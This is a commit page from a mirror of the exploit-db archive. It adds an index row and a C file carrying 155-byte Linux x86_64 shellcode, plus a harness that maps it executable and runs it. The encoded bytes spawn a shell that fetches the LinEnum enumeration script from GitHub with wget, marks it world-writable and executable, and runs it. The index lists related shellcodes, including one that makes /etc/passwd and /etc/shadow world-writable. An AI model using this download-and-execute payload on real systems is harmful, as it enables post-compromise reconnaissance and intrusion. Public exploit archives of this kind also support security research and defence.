bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2019-07-24

Browse source 
1 changes to exploits/shellcodes

Linux/x86_64 - Wget Linux Enumeration Script Shellcode (155 Bytes)
This commit is contained in:
Offensive Security 2019-07-24 05:02:23 +00:00
parent a8a07cdedf
commit 5c06a41d94
2 changed files with 67 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

1
files_shellcodes.csv
View file

@ -988,3 +988,4 @@ id,file,description,date,author,type,platform
47057,shellcodes/arm/47057.c,"Linux/ARM64 - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Shellcode (48 Bytes)",2019-07-01,"Ken Kitahara",shellcode,arm
47068,shellcodes/linux_x86/47068.c,"Linux/x86 - execve(/bin/sh) using JMP-CALL-POP Shellcode (21 bytes)",2019-07-01,"Kirill Nikolaev",shellcode,linux_x86
47108,shellcodes/linux_x86/47108.txt,"Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow Shellcode (61 bytes)",2019-07-12,"Xavier Invers Fornells",shellcode,linux_x86
47151,shellcodes/linux_x86-64/47151.c,"Linux/x86_64 - Wget Linux Enumeration Script Shellcode (155 Bytes)",2019-07-23,"Kağan Çapar",shellcode,linux_x86-64

1 id file description date author type platform
988 47057 shellcodes/arm/47057.c Linux/ARM64 - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Shellcode (48 Bytes) 2019-07-01 Ken Kitahara shellcode arm
989 47068 shellcodes/linux_x86/47068.c Linux/x86 - execve(/bin/sh) using JMP-CALL-POP Shellcode (21 bytes) 2019-07-01 Kirill Nikolaev shellcode linux_x86
990 47108 shellcodes/linux_x86/47108.txt Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow Shellcode (61 bytes) 2019-07-12 Xavier Invers Fornells shellcode linux_x86
991 47151 shellcodes/linux_x86-64/47151.c Linux/x86_64 - Wget Linux Enumeration Script Shellcode (155 Bytes) 2019-07-23 Kağan Çapar shellcode linux_x86-64

66
shellcodes/linux_x86-64/47151.c Normal file
View file

@ -0,0 +1,66 @@
/*
LinEnum (Linux Enumeration) Wget & CHMOD & Run Shellcode Language C & ASM - Linux/x86_64
author : Kağan Çapar
contact: kagancapar@gmail.com
shellcode len : 155 bytes
compilation: gcc -o shellcode shellcode.c
test:
run ./shellcode
description: First, the linenum script is via github with wget command. After change mod 777 and run!
assembly:
_start:
push 0x3b {var_8} {"content.com/rebootuser/LinEnum/m…"}
pop rax {var_8} {0x3b, "content.com/rebootuser/LinEnum/m…"}
cdq {0x3b, "content.com/rebootuser/LinEnum/m…"} {0x0} {0x3b, "content.com/rebootuser/LinEnum/m…"}
mov rbx, 0x68732f6e69622f
push rbx {var_8} {0x68732f6e69622f}
mov rdi, rsp {var_8}
push 0x632d {var_10}
mov rsi, rsp {var_10}
push rdx {var_18} {0x0}
call sub_94 {sub_20, "wget https://raw.githubuserconte…"} { Falls through into sub_20 }
*/
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char library[] =
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x74\x00"
"\x00\x00\x77\x67\x65\x74\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f"
"\x72\x61\x77\x2e\x67\x69\x74\x68\x75\x62\x75\x73\x65\x72\x63"
"\x6f\x6e\x74\x65\x6e\x74\x2e\x63\x6f\x6d\x2f\x72\x65\x62\x6f"
"\x6f\x74\x75\x73\x65\x72\x2f\x4c\x69\x6e\x45\x6e\x75\x6d\x2f"
"\x6d\x61\x73\x74\x65\x72\x2f\x4c\x69\x6e\x45\x6e\x75\x6d\x2e"
"\x73\x68\x20\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x37\x37\x37"
"\x20\x4c\x69\x6e\x45\x6e\x75\x6d\x2e\x73\x68\x20\x26\x26\x20"
"\x2e\x2f\x4c\x69\x6e\x45\x6e\x75\x6d\x2e\x73\x68\x00\x56\x57"
"\x48\x89\xe6\x0f\x05";
int main(int argc, char **argv) {
printf("library Length: %zd Bytes\n", strlen(library));
void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, library, sizeof(library));
sc = ptr;
sc();
return 0;
}